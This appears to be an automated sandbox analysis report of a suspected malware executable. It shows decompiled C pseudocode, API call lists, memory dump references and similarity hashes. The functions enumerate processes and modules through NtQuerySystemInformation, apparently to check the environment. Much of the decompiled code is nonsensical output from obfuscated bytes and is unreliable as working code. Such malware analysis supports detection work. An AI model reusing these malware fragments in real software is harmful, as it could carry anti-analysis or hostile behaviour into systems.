Opcode Fuzzy Hash: 42cb32327c757641c19717729f2cc47dd717a1d0f4e1dad42712e9e01dcc05b2
Instruction Fuzzy Hash: E5011A35801A069ACB389E65C44466FB7BAEF10315F24443FE04076AE1DB7C8981EF19

Uniqueness

Uniqueness Score: -1.00%

Function 00401ADA, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401ADA(void* __ebx, void* __edi, signed int _a4) {
				intOrPtr _v12;
				char _v16;
				signed int _t13;
				signed int _t14;
				void* _t23;
				signed int _t24;
				intOrPtr* _t26;
				signed int _t27;
				void* _t29;
				intOrPtr* _t31;

				_t29 = __edi;
				_t23 = __ebx;
				_t24 = _a4;
				if(_t24 > 0) {
					_t14 = _t13 | 0xffffffff;
					_t27 = _t14 % _t24;
					__eflags = _t14 / _t24 - 1;
					if(__eflags >= 0) {
						goto L2;
					} else {
						_a4 = _a4 & 0x00000000;
						_t26 =  &_v16;
						E00401EF3(_t26, _t27,  &_a4);
						_v16 = 0x413220;
						E004024BB( &_v16, 0x416568);
						asm("int3");
						_t31 = _t26;
						E00401F63(_t26, _t27, _v12);
						 *_t31 = 0x413220;
						return _t31;
					}
				} else {
					_t24 = 0;
					L2:
					_push(_t24);
					return E00402211(_t23, _t27, _t29, 0);
				}
			}

0x00401ada
0x00401ada
0x00401add
0x00401ae5
0x00401af4
0x00401af9
0x00401afb
0x00401afe
0x00000000
0x00401b00
0x00401b00
0x00401b08
0x00401b0b
0x00401b19
0x00401b20
0x00401b25
0x00401b2b
0x00401b2d
0x00401b32
0x00401b3b
0x00401b3b
0x00401ae7
0x00401ae7
0x00401ae9
0x00401ae9
0x00401af1
0x00401af1

APIs

std::exception::exception.LIBCMT ref: 00401B0B
__CxxThrowException@8.LIBCMT ref: 00401B20

Part of subcall function 00402211: _malloc.LIBCMT ref: 0040222B

Strings

2A, xrefs: 00401B19

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID: 2A
API String ID: 4063778783-732412549
Opcode ID: 3065e33fcbcfe2ffc6b2bd3cf698a4c481c0c705c1657a2734f9efc949fa2770
Instruction ID: cd85d1e1d0768e6746e32d90265b1fe6d403f6a605055c9d06a1bc2c5bb04486
Opcode Fuzzy Hash: 3065e33fcbcfe2ffc6b2bd3cf698a4c481c0c705c1657a2734f9efc949fa2770
Instruction Fuzzy Hash: C8E0E5719101086ACB08EAA5D945ADF3769AB10314F10863FE815A10C0DBFCD248CA58

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: t7p1ekMto0.exe PID: 6652 Parent PID: 6612 t7p1ekMto0.exeCOMMON

Executed Functions

Function 00402048, Relevance: 9.2, APIs: 6, Instructions: 200
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00402048(void* __edx, void* __eflags, void* __fp0, intOrPtr* _a4) {
				void* _v8;
				long _v12;
				void* _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t45;
				long _t49;
				void* _t55;
				char* _t59;
				void* _t60;
				signed int* _t61;
				signed int _t62;
				signed int _t63;
				intOrPtr* _t65;
				intOrPtr* _t66;
				long* _t72;
				intOrPtr* _t75;
				long _t76;
				intOrPtr* _t77;
				intOrPtr* _t78;
				void* _t79;
				intOrPtr* _t83;
				void* _t92;
				void* _t98;
				void* _t106;

				_t106 = __fp0;
				_t45 = 0x207e;
				_t66 = 0x227;
				E004012BF(_t45, __edx, _t75, _t77, __eflags);
				_v8 = 1;
				_t65 = _a4;
				NtQuerySystemInformation(5, 0, 0,  &_v12);
				_v12 = _v12 + 0x1000;
				_v16 = LocalAlloc(0x40, _v12);
				_t72 =  &_v12;
				_t49 = NtQuerySystemInformation(5, _v16, _v12, _t72);
				if(_t49 == 0) {
					_t75 = _v16;
					while( *_t75 != 0) {
						_t77 =  *((intOrPtr*)(_t75 + 0x3c));
						_t83 = _t77;
						if(_t83 == 0) {
							L33:
							_t75 = _t75 +  *_t75;
							continue;
						} else {
							L27();
							if (_t83 >= 0) goto L11;
							 *[gs:ebp] =  *[gs:ebp] + _t66;
							if ( *[gs:ebp] != 0) goto L12;
							_t61 = _t49 - 0x61006700;
							 *_t77 =  *_t77 + _t66;
							 *_t78 =  *_t78 + _t61;
							if ( *_t78 < 0) goto L13;
							 *[gs:eax] =  *[gs:eax] + _t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t66 =  *_t66 + _t72;
							 *((intOrPtr*)(_t65 + _t75)) =  *((intOrPtr*)(_t65 + _t75)) + _t61;
							 *[cs:ebp] =  *[cs:ebp] + _t61;
							if ( *[cs:ebp] < 0) goto L14;
							 *[gs:eax] =  *[gs:eax] + _t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t75 =  *_t75 + _t72;
							_t62 =  *_t61 * 0x64006e;
							asm("popad");
							 *_t77 =  *_t77 + _t66;
							if ( *_t77 < 0) goto L15;
							 *[cs:ebp] =  *[cs:ebp] + _t62;
							if ( *[cs:ebp] < 0) goto L16;
							 *[gs:eax] =  *[gs:eax] + _t62;
							 *_t62 =  *_t62 + _t62;
							 *_t62 =  *_t62 + _t62;
							 *_t62 =  *_t62 + _t62;
							 *_t62 =  *_t62 + _t62;
							 *_t77 =  *_t77 + _t72;
							asm("bound eax, [eax]");
							asm("outsd");
							 *_t62 =  *_t62 + _t65;
							if ( *_t62 >= 0) goto L17;
							 *[gs:edx] =  *[gs:edx] + _t72;
							if ( *[gs:edx] <= 0) goto L18;
							_t63 =  *_t62 * 0x650063;
							 *[cs:ebp] =  *[cs:ebp] + _t63;
							if ( *[cs:ebp] < 0) goto L19;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t77 =  *_t77 + _t72;
							asm("bound eax, [eax]");
							asm("outsd");
							 *_t63 =  *_t63 + _t65;
							_t92 =  *_t63;
							if (_t92 == 0) goto L20;
							if (_t92 < 0) goto L21;
							asm("popad");
							 *_t66 =  *_t66 + _t65;
							 *[cs:ebp] =  *[cs:ebp] + _t63;
							if ( *[cs:ebp] < 0) goto L22;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t77 =  *_t77 + _t72;
							asm("insd");
							 *((intOrPtr*)(_t63 + _t63 + 0x6f)) =  *((intOrPtr*)(_t63 + _t63 + 0x6f)) + _t72;
							 *_t75 =  *_t75 + _t66;
							asm("insb");
							 *_t65 =  *_t65 + _t72;
							 *[fs:esi] =  *[fs:esi] + _t66;
							 *_t78 =  *_t78 + _t63;
							if ( *_t78 < 0) goto L23;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t72;
							if ( *_t63 < 0) goto L24;
							asm("insb");
							 *_t75 =  *_t75 + _t65;
							if ( *_t75 == 0) goto L25;
							asm("outsd");
							 *_t75 =  *_t75 + _t66;
							asm("insb");
							 *_t65 =  *_t65 + _t72;
							 *[cs:ebp] =  *[cs:ebp] + _t63;
							if ( *[cs:ebp] < 0) goto L26;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							_t98 =  *_t63;
							E00401C2C(_t72, _t98, _t106, _t65, _t77);
							_pop(_t49);
							_push(_t75);
							_t76 = _t49;
							while( *_t76 != 0) {
								_t49 =  *((intOrPtr*)(_t65 + 0xa0))(_t77, _t76);
								_t79 = _t79 + 8;
								if(_t49 == 0) {
									_t76 = _t76 + 0x20;
									continue;
								} else {
									_pop(_t75);
									_v8 = 0;
								}
								goto L34;
							}
							_pop(_t75);
							goto L33;
						}
						goto L34;
					}
				}
				L34:
				 *((intOrPtr*)(_t65 + 0x3c))(_v16);
				NtQuerySystemInformation(0xb, 0, 0,  &_v12);
				_v12 = _v12 + 0x1000;
				_v16 =  *((intOrPtr*)(_t65 + 0x38))(0x40, _v12);
				_t74 =  &_v12;
				if(NtQuerySystemInformation(0xb, _v16, _v12,  &_v12) == 0) {
					_t75 = _v16;
					_t77 =  *_t75;
					if(_t77 != 0) {
						_t75 = _t75 + 4;
						while(_t77 != 0) {
							_t39 = _t75 + 0x1c; // 0x1c
							_t59 = _t39;
							_t104 =  *_t59;
							if( *_t59 == 0) {
								L41:
								_t75 = _t75 + 0x11c;
								_t77 = _t77 - 1;
								continue;
							} else {
								_push(_t59);
								_push(_t65);
								_t60 = E00401DC6(_t65, _t74, _t77, _t104);
								_t105 = _t60;
								if(_t60 != 0) {
									goto L41;
								} else {
									_v8 = 0;
								}
							}
							goto L42;
						}
					}
				}
				L42:
				LocalFree(_v16);
				_t55 = 0x207e;
				_push(0x227);
				E004012BF(_t55, _t74, _t75, _t77, _t105);
				return _v8;
			}

0x00402048
0x0040205c
0x00402071
0x00402079
0x0040207e
0x00402085
0x00402092
0x00402098
0x004020a7
0x004020aa
0x004020b6
0x004020be
0x004020c4
0x004020c7
0x004020d0
0x004020d3
0x004020d5
0x004021f0
0x004021f0
0x00000000
0x004020db
0x004020db
0x004020e0
0x004020e2
0x004020e6
0x004020e8
0x004020ed
0x004020ef
0x004020f2
0x004020f4
0x004020f7
0x004020f9
0x004020fb
0x004020fd
0x004020ff
0x00402102
0x00402106
0x0040210a
0x0040210c
0x0040210f
0x00402111
0x00402113
0x00402115
0x00402117
0x00402119
0x0040211b
0x0040211d
0x0040211f
0x00402122
0x00402128
0x00402129
0x0040212c
0x0040212e
0x00402132
0x00402134
0x00402137
0x00402139
0x0040213b
0x0040213d
0x0040213f
0x00402142
0x00402144
0x00402145
0x00402148
0x0040214a
0x0040214e
0x00402150
0x00402156
0x0040215a
0x0040215c
0x0040215f
0x00402162
0x00402164
0x00402165
0x00402165
0x00402168
0x0040216a
0x0040216c
0x0040216d
0x00402170
0x00402174
0x00402176
0x00402179
0x0040217b
0x0040217d
0x0040217f
0x00402182
0x00402183
0x00402187
0x0040218a
0x0040218b
0x0040218e
0x00402191
0x00402194
0x00402196
0x00402199
0x0040219b
0x0040219d
0x0040219f
0x004021a2
0x004021a4
0x004021a5
0x004021a8
0x004021aa
0x004021ab
0x004021ae
0x004021af
0x004021b2
0x004021b6
0x004021b8
0x004021bb
0x004021bd
0x004021bf
0x004021bf
0x004021c3
0x004021c8
0x004021c9
0x004021ca
0x004021cc
0x004021d3
0x004021d9
0x004021de
0x004021ea
0x00000000
0x004021e0
0x004021e0
0x004021e1
0x004021e1
0x00000000
0x004021de
0x004021ef
0x00000000
0x004021ef
0x00000000
0x004020d5
0x004020c7
0x004021f7
0x004021fa
0x00402207
0x0040220d
0x0040221c
0x0040221f
0x00402233
0x00402235
0x00402238
0x0040223c
0x0040223e
0x00402241
0x00402245
0x0040224e
0x00402250
0x00402253
0x00402269
0x00402269
0x0040226f
0x00000000
0x00402255
0x00402255
0x00402256
0x00402257
0x0040225c
0x0040225e
0x00000000
0x00402260
0x00402260
0x00402260
0x0040225e
0x00000000
0x00402253
0x00402241
0x0040223c
0x00402272
0x00402275
0x00402285
0x00402293
0x004022a0
0x004022ac

APIs

NtQuerySystemInformation.NTDLL(00000005,00000000,00000000,?), ref: 00402092
LocalAlloc.KERNELBASE(00000040,00001000), ref: 004020A4
NtQuerySystemInformation.NTDLL(00000005,?,00001000,00001000), ref: 004020B6
NtQuerySystemInformation.NTDLL(0000000B,00000000,00000000,00001000), ref: 00402207
NtQuerySystemInformation.NTDLL(0000000B,?,00001000,00001000), ref: 0040222B
LocalFree.KERNELBASE(?), ref: 00402275

Memory Dump Source

Source File: 00000001.00000001.237032622.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: InformationQuerySystem$Local$AllocFree
String ID:
API String ID: 1057321837-0
Opcode ID: 2b423339093882e2d43e366e0d5b27af9f39fb4fae7c97814cac165123f7ed7d
Instruction ID: 2db9812813ee974baa4b206d3fcb7cf7ed5974aac7c0f353d4ffdb2028ac827d
Opcode Fuzzy Hash: 2b423339093882e2d43e366e0d5b27af9f39fb4fae7c97814cac165123f7ed7d
Instruction Fuzzy Hash: FF617E3290D3C5AFDB128BA08E2C799BF306F12300F1981EFDA45AE1D2D3B89941D756

Uniqueness

Uniqueness Score: -1.00%

Function 004021C1, Relevance: 4.7, APIs: 3, Instructions: 178
nativeCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E004021C1(void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t32;
				void* _t38;
				char* _t42;
				void* _t43;
				void* _t44;
				signed int* _t45;
				signed int _t46;
				signed int _t47;
				void* _t48;
				intOrPtr* _t49;
				intOrPtr* _t51;
				void* _t55;
				void* _t59;
				void _t61;
				intOrPtr* _t63;
				void* _t65;
				void _t69;
				void* _t78;

				L0:
				while(1) {
					L0:
					_t92 = __fp0;
					_t55 = __edx;
					E00401C2C(__edx, __eflags, __fp0, _t49, _t61);
					_pop(_t32);
					_t59 = _t32;
					L20:
					while( *_t59 != 0) {
						_t48 =  *((intOrPtr*)(_t49 + 0xa0))(_t61, _t59);
						_t65 = _t65 + 8;
						if(_t48 == 0) {
							L23:
							_t59 = _t59 + 0x20;
							continue;
						} else {
							L22:
							_pop(_t59);
							 *(_t63 - 4) = 0;
						}
						L26:
						 *((intOrPtr*)(_t49 + 0x3c))( *(_t63 - 0xc));
						NtQuerySystemInformation(0xb, 0, 0, _t63 - 8);
						 *(_t63 - 8) =  *(_t63 - 8) + 0x1000;
						 *(_t63 - 0xc) =  *((intOrPtr*)(_t49 + 0x38))(0x40,  *(_t63 - 8));
						_t57 = _t63 - 8;
						if(NtQuerySystemInformation(0xb,  *(_t63 - 0xc),  *(_t63 - 8), _t63 - 8) == 0) {
							L27:
							_t59 =  *(_t63 - 0xc);
							_t61 =  *_t59;
							if(_t61 != 0) {
								L28:
								_t59 = _t59 + 4;
								L29:
								while(_t61 != 0) {
									_t25 = _t59 + 0x1c; // 0x1c
									_t42 = _t25;
									_t90 =  *_t42;
									if( *_t42 == 0) {
										L33:
										_t59 = _t59 + 0x11c;
										_t61 = _t61 - 1;
										continue;
									} else {
										L31:
										_push(_t42);
										_push(_t49);
										_t43 = E00401DC6(_t49, _t57, _t61, _t90);
										_t91 = _t43;
										if(_t43 != 0) {
											goto L33;
										} else {
											L32:
											 *(_t63 - 4) = 0;
										}
									}
									goto L34;
								}
							}
						}
						L34:
						LocalFree( *(_t63 - 0xc));
						L36:
						L35:
						_t38 = 0x207e;
						L37:
						L39:
						L38:
						_push(0x227);
						L40:
						E004012BF(_t38, _t57, _t59, _t61, _t91);
						return  *(_t63 - 4);
						L41:
					}
					_pop(_t59);
					do {
						L25:
						_t59 = _t59 +  *_t59;
						L1:
						if( *_t59 != 0) {
							goto L2;
						}
						goto L26;
						L2:
						_t61 =  *(_t59 + 0x3c);
						_t69 = _t61;
					} while (_t69 == 0);
					_t44 = E004021C1(_t55, _t69, _t92);
					if (_t69 >= 0) goto L4;
					L4:
					 *[gs:ebp] =  *[gs:ebp] + _t51;
					if ( *[gs:ebp] != 0) goto L5;
					L5:
					_t45 = _t44 - 0x61006700;
					 *_t61 =  *_t61 + _t51;
					 *_t63 =  *_t63 + _t45;
					if ( *_t63 < 0) goto L6;
					L6:
					 *[gs:eax] =  *[gs:eax] + _t45;
					 *_t45 = _t45 +  *_t45;
					 *_t45 = _t45 +  *_t45;
					 *_t45 = _t45 +  *_t45;
					 *_t45 = _t45 +  *_t45;
					 *_t51 =  *_t51 + _t55;
					 *((intOrPtr*)(_t49 + _t59)) =  *((intOrPtr*)(_t49 + _t59)) + _t45;
					 *[cs:ebp] =  *[cs:ebp] + _t45;
					if ( *[cs:ebp] < 0) goto L7;
					L7:
					 *[gs:eax] =  *[gs:eax] + _t45;
					 *_t45 = _t45 +  *_t45;
					 *_t45 = _t45 +  *_t45;
					 *_t45 = _t45 +  *_t45;
					 *_t45 = _t45 +  *_t45;
					 *_t45 = _t45 +  *_t45;
					 *_t45 = _t45 +  *_t45;
					 *_t45 = _t45 +  *_t45;
					 *_t45 = _t45 +  *_t45;
					 *_t59 =  *_t59 + _t55;
					_t46 =  *_t45 * 0x64006e;
					asm("popad");
					 *_t61 =  *_t61 + _t51;
					if ( *_t61 < 0) goto L8;
					L8:
					 *[cs:ebp] =  *[cs:ebp] + _t46;
					if ( *[cs:ebp] < 0) goto L9;
					L9:
					 *[gs:eax] =  *[gs:eax] + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t61 =  *_t61 + _t55;
					asm("bound eax, [eax]");
					asm("outsd");
					 *_t46 =  *_t46 + _t49;
					if ( *_t46 >= 0) goto L10;
					L10:
					 *[gs:edx] =  *[gs:edx] + _t55;
					if ( *[gs:edx] <= 0) goto L11;
					L11:
					_t47 =  *_t46 * 0x650063;
					 *[cs:ebp] =  *[cs:ebp] + _t47;
					if ( *[cs:ebp] < 0) goto L12;
					L12:
					 *[gs:eax] =  *[gs:eax] + _t47;
					 *_t61 =  *_t61 + _t55;
					asm("bound eax, [eax]");
					asm("outsd");
					 *_t47 =  *_t47 + _t49;
					_t78 =  *_t47;
					if (_t78 == 0) goto L13;
					L13:
					if (_t78 < 0) goto L14;
					L14:
					asm("popad");
					 *_t51 =  *_t51 + _t49;
					 *[cs:ebp] =  *[cs:ebp] + _t47;
					if ( *[cs:ebp] < 0) goto L15;
					L15:
					 *[gs:eax] =  *[gs:eax] + _t47;
					 *_t47 =  *_t47 + _t47;
					 *_t47 =  *_t47 + _t47;
					 *_t47 =  *_t47 + _t47;
					 *_t61 =  *_t61 + _t55;
					asm("insd");
					 *((intOrPtr*)(_t47 + _t47 + 0x6f)) =  *((intOrPtr*)(_t47 + _t47 + 0x6f)) + _t55;
					 *_t59 =  *_t59 + _t51;
					asm("insb");
					 *_t49 =  *_t49 + _t55;
					 *[fs:esi] =  *[fs:esi] + _t51;
					 *_t63 =  *_t63 + _t47;
					if ( *_t63 < 0) goto L16;
					L16:
					 *[gs:eax] =  *[gs:eax] + _t47;
					 *_t47 =  *_t47 + _t47;
					 *_t47 =  *_t47 + _t47;
					 *_t47 =  *_t47 + _t47;
					 *_t47 =  *_t47 + _t55;
					if ( *_t47 < 0) goto L17;
					L17:
					asm("insb");
					 *_t59 =  *_t59 + _t49;
					if ( *_t59 == 0) goto L18;
					L18:
					asm("outsd");
					 *_t59 =  *_t59 + _t51;
					asm("insb");
					 *_t49 =  *_t49 + _t55;
					 *[cs:ebp] =  *[cs:ebp] + _t47;
					if ( *[cs:ebp] < 0) goto L19;
					L19:
					 *[gs:eax] =  *[gs:eax] + _t47;
					 *_t47 =  *_t47 + _t47;
					 *_t47 =  *_t47 + _t47;
					 *_t47 =  *_t47 + _t47;
				}
			}

0x004021c1
0x004021c1
0x004021c1
0x004021c1
0x004021c1
0x004021c3
0x004021c8
0x004021ca
0x00000000
0x004021cc
0x004021d3
0x004021d9
0x004021de
0x004021ea
0x004021ea
0x00000000
0x004021e0
0x004021e0
0x004021e0
0x004021e1
0x004021e1
0x004021f7
0x004021fa
0x00402207
0x0040220d
0x0040221c
0x0040221f
0x00402233
0x00402235
0x00402235
0x00402238
0x0040223c
0x0040223e
0x0040223e
0x00000000
0x00402241
0x00402245
0x0040224e
0x00402250
0x00402253
0x00402269
0x00402269
0x0040226f
0x00000000
0x00402255
0x00402255
0x00402255
0x00402256
0x00402257
0x0040225c
0x0040225e
0x00000000
0x00402260
0x00402260
0x00402260
0x00402260
0x0040225e
0x00000000
0x00402253
0x00402241
0x0040223c
0x00402272
0x00402275
0x0040228a
0x00402280
0x00402285
0x0040228d
0x0040229d
0x00402293
0x00402293
0x004022a0
0x004022a0
0x004022ac
0x00000000
0x004022ac
0x004021ef
0x004021f0
0x004021f0
0x004021f0
0x004020c7
0x004020ca
0x00000000
0x00000000
0x00000000
0x004020d0
0x004020d0
0x004020d3
0x004020d3
0x004020db
0x004020e0
0x004020e2
0x004020e2
0x004020e6
0x004020e8
0x004020e8
0x004020ed
0x004020ef
0x004020f2
0x004020f4
0x004020f4
0x004020f7
0x004020f9
0x004020fb
0x004020fd
0x004020ff
0x00402102
0x00402106
0x0040210a
0x0040210c
0x0040210c
0x0040210f
0x00402111
0x00402113
0x00402115
0x00402117
0x00402119
0x0040211b
0x0040211d
0x0040211f
0x00402122
0x00402128
0x00402129
0x0040212c
0x0040212e
0x0040212e
0x00402132
0x00402134
0x00402134
0x00402137
0x00402139
0x0040213b
0x0040213d
0x0040213f
0x00402142
0x00402144
0x00402145
0x00402148
0x0040214a
0x0040214a
0x0040214e
0x00402150
0x00402150
0x00402156
0x0040215a
0x0040215c
0x0040215c
0x0040215f
0x00402162
0x00402164
0x00402165
0x00402165
0x00402168
0x0040216a
0x0040216a
0x0040216c
0x0040216c
0x0040216d
0x00402170
0x00402174
0x00402176
0x00402176
0x00402179
0x0040217b
0x0040217d
0x0040217f
0x00402182
0x00402183
0x00402187
0x0040218a
0x0040218b
0x0040218e
0x00402191
0x00402194
0x00402196
0x00402196
0x00402199
0x0040219b
0x0040219d
0x0040219f
0x004021a2
0x004021a4
0x004021a4
0x004021a5
0x004021a8
0x004021aa
0x004021aa
0x004021ab
0x004021ae
0x004021af
0x004021b2
0x004021b6
0x004021b8
0x004021b8
0x004021bb
0x004021bd
0x004021bf
0x004021bf

APIs

NtQuerySystemInformation.NTDLL(0000000B,00000000,00000000,00001000), ref: 00402207
NtQuerySystemInformation.NTDLL(0000000B,?,00001000,00001000), ref: 0040222B
LocalFree.KERNELBASE(?), ref: 00402275

Memory Dump Source

Source File: 00000001.00000001.237032622.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: InformationQuerySystem$FreeLocal
String ID:
API String ID: 1248133265-0
Opcode ID: eb82dd66f16839f0aae7d7ccc97462124b90ee92ea08885972b4efa4ec532f72
Instruction ID: 680270f06175cbc6055cd1e75b5e7c9a1f4f459391e411c40bc6972b966e3821
Opcode Fuzzy Hash: eb82dd66f16839f0aae7d7ccc97462124b90ee92ea08885972b4efa4ec532f72
Instruction Fuzzy Hash: 0451596290D3D1AFDB128B708E2C659BF306F12300F1982EFD985AE1E3D3B89941D756

Uniqueness

Uniqueness Score: -1.00%

Function 00402067, Relevance: 4.6, APIs: 3, Instructions: 126
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00402067(void* __eax, void* __edx, void* __edi, void __esi, void* __eflags, void* __fp0) {
				void* _t47;
				long _t51;
				void* _t57;
				char* _t61;
				void* _t62;
				signed int* _t63;
				signed int _t64;
				signed int _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				long* _t75;
				long _t80;
				intOrPtr* _t83;
				void* _t85;
				void* _t86;
				void _t91;
				void* _t100;
				void* _t106;
				void* _t114;

				_t114 = __fp0;
				_t81 = __esi;
				_t78 = __edi;
				asm("popad");
				asm("invalid");
				_t47 = _t85;
				_t86 = __eax;
				asm("movsb");
				_t69 = 0x227;
				E004012BF(_t47, __edx, __edi, __esi, __eflags);
				 *(_t83 - 4) = 1;
				_t67 =  *((intOrPtr*)(_t83 + 8));
				NtQuerySystemInformation(5, 0, 0, _t83 - 8);
				 *(_t83 - 8) =  *(_t83 - 8) + 0x1000;
				 *(_t83 - 0xc) = LocalAlloc(0x40,  *(_t83 - 8));
				_t75 = _t83 - 8;
				_t51 = NtQuerySystemInformation(5,  *(_t83 - 0xc),  *(_t83 - 8), _t75);
				if(_t51 == 0) {
					_t78 =  *(_t83 - 0xc);
					while( *_t78 != 0) {
						_t81 =  *(_t78 + 0x3c);
						_t91 = _t81;
						if(_t91 == 0) {
							L29:
							_t78 = _t78 +  *_t78;
							continue;
						} else {
							L23();
							if (_t91 >= 0) goto L7;
							 *[gs:ebp] =  *[gs:ebp] + _t69;
							if ( *[gs:ebp] != 0) goto L8;
							_t63 = _t51 - 0x61006700;
							 *_t81 =  *_t81 + _t69;
							 *_t83 =  *_t83 + _t63;
							if ( *_t83 < 0) goto L9;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t63 = _t63 +  *_t63;
							 *_t63 = _t63 +  *_t63;
							 *_t63 = _t63 +  *_t63;
							 *_t63 = _t63 +  *_t63;
							 *_t69 =  *_t69 + _t75;
							 *((intOrPtr*)(_t67 + _t78)) =  *((intOrPtr*)(_t67 + _t78)) + _t63;
							 *[cs:ebp] =  *[cs:ebp] + _t63;
							if ( *[cs:ebp] < 0) goto L10;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t63 = _t63 +  *_t63;
							 *_t63 = _t63 +  *_t63;
							 *_t63 = _t63 +  *_t63;
							 *_t63 = _t63 +  *_t63;
							 *_t63 = _t63 +  *_t63;
							 *_t63 = _t63 +  *_t63;
							 *_t63 = _t63 +  *_t63;
							 *_t63 = _t63 +  *_t63;
							 *_t78 = _t75 +  *_t78;
							_t64 =  *_t63 * 0x64006e;
							asm("popad");
							 *_t81 =  *_t81 + _t69;
							if ( *_t81 < 0) goto L11;
							 *[cs:ebp] =  *[cs:ebp] + _t64;
							if ( *[cs:ebp] < 0) goto L12;
							 *[gs:eax] =  *[gs:eax] + _t64;
							 *_t64 =  *_t64 + _t64;
							 *_t64 =  *_t64 + _t64;
							 *_t64 =  *_t64 + _t64;
							 *_t64 =  *_t64 + _t64;
							 *_t81 =  *_t81 + _t75;
							asm("bound eax, [eax]");
							asm("outsd");
							 *_t64 =  *_t64 + _t67;
							if ( *_t64 >= 0) goto L13;
							 *[gs:edx] =  *[gs:edx] + _t75;
							if ( *[gs:edx] <= 0) goto L14;
							_t65 =  *_t64 * 0x650063;
							 *[cs:ebp] =  *[cs:ebp] + _t65;
							if ( *[cs:ebp] < 0) goto L15;
							 *[gs:eax] =  *[gs:eax] + _t65;
							 *_t81 =  *_t81 + _t75;
							asm("bound eax, [eax]");
							asm("outsd");
							 *_t65 =  *_t65 + _t67;
							_t100 =  *_t65;
							if (_t100 == 0) goto L16;
							if (_t100 < 0) goto L17;
							asm("popad");
							 *_t69 =  *_t69 + _t67;
							 *[cs:ebp] =  *[cs:ebp] + _t65;
							if ( *[cs:ebp] < 0) goto L18;
							 *[gs:eax] =  *[gs:eax] + _t65;
							 *_t65 =  *_t65 + _t65;
							 *_t65 =  *_t65 + _t65;
							 *_t65 =  *_t65 + _t65;
							 *_t81 =  *_t81 + _t75;
							asm("insd");
							 *((intOrPtr*)(_t65 + _t65 + 0x6f)) =  *((intOrPtr*)(_t65 + _t65 + 0x6f)) + _t75;
							 *_t78 =  *_t78 + _t69;
							asm("insb");
							 *_t67 =  *_t67 + _t75;
							 *[fs:esi] =  *[fs:esi] + _t69;
							 *_t83 =  *_t83 + _t65;
							if ( *_t83 < 0) goto L19;
							 *[gs:eax] =  *[gs:eax] + _t65;
							 *_t65 =  *_t65 + _t65;
							 *_t65 =  *_t65 + _t65;
							 *_t65 =  *_t65 + _t65;
							 *_t65 =  *_t65 + _t75;
							if ( *_t65 < 0) goto L20;
							asm("insb");
							 *_t78 =  *_t78 + _t67;
							if ( *_t78 == 0) goto L21;
							asm("outsd");
							 *_t78 =  *_t78 + _t69;
							asm("insb");
							 *_t67 =  *_t67 + _t75;
							 *[cs:ebp] =  *[cs:ebp] + _t65;
							if ( *[cs:ebp] < 0) goto L22;
							 *[gs:eax] =  *[gs:eax] + _t65;
							 *_t65 =  *_t65 + _t65;
							 *_t65 =  *_t65 + _t65;
							 *_t65 =  *_t65 + _t65;
							_t106 =  *_t65;
							E00401C2C(_t75, _t106, _t114, _t67, _t81);
							_pop(_t51);
							_push(_t78);
							_t80 = _t51;
							while( *_t80 != 0) {
								_t51 =  *((intOrPtr*)(_t67 + 0xa0))(_t81, _t80);
								_t86 = _t86 + 8;
								if(_t51 == 0) {
									_t80 = _t80 + 0x20;
									continue;
								} else {
									_pop(_t78);
									 *(_t83 - 4) = 0;
								}
								goto L30;
							}
							_pop(_t78);
							goto L29;
						}
						goto L30;
					}
				}
				L30:
				 *((intOrPtr*)(_t67 + 0x3c))( *(_t83 - 0xc));
				NtQuerySystemInformation(0xb, 0, 0, _t83 - 8);
				 *(_t83 - 8) =  *(_t83 - 8) + 0x1000;
				 *(_t83 - 0xc) =  *((intOrPtr*)(_t67 + 0x38))(0x40,  *(_t83 - 8));
				_t77 = _t83 - 8;
				if(NtQuerySystemInformation(0xb,  *(_t83 - 0xc),  *(_t83 - 8), _t83 - 8) == 0) {
					_t78 =  *(_t83 - 0xc);
					_t81 =  *_t78;
					if(_t81 != 0) {
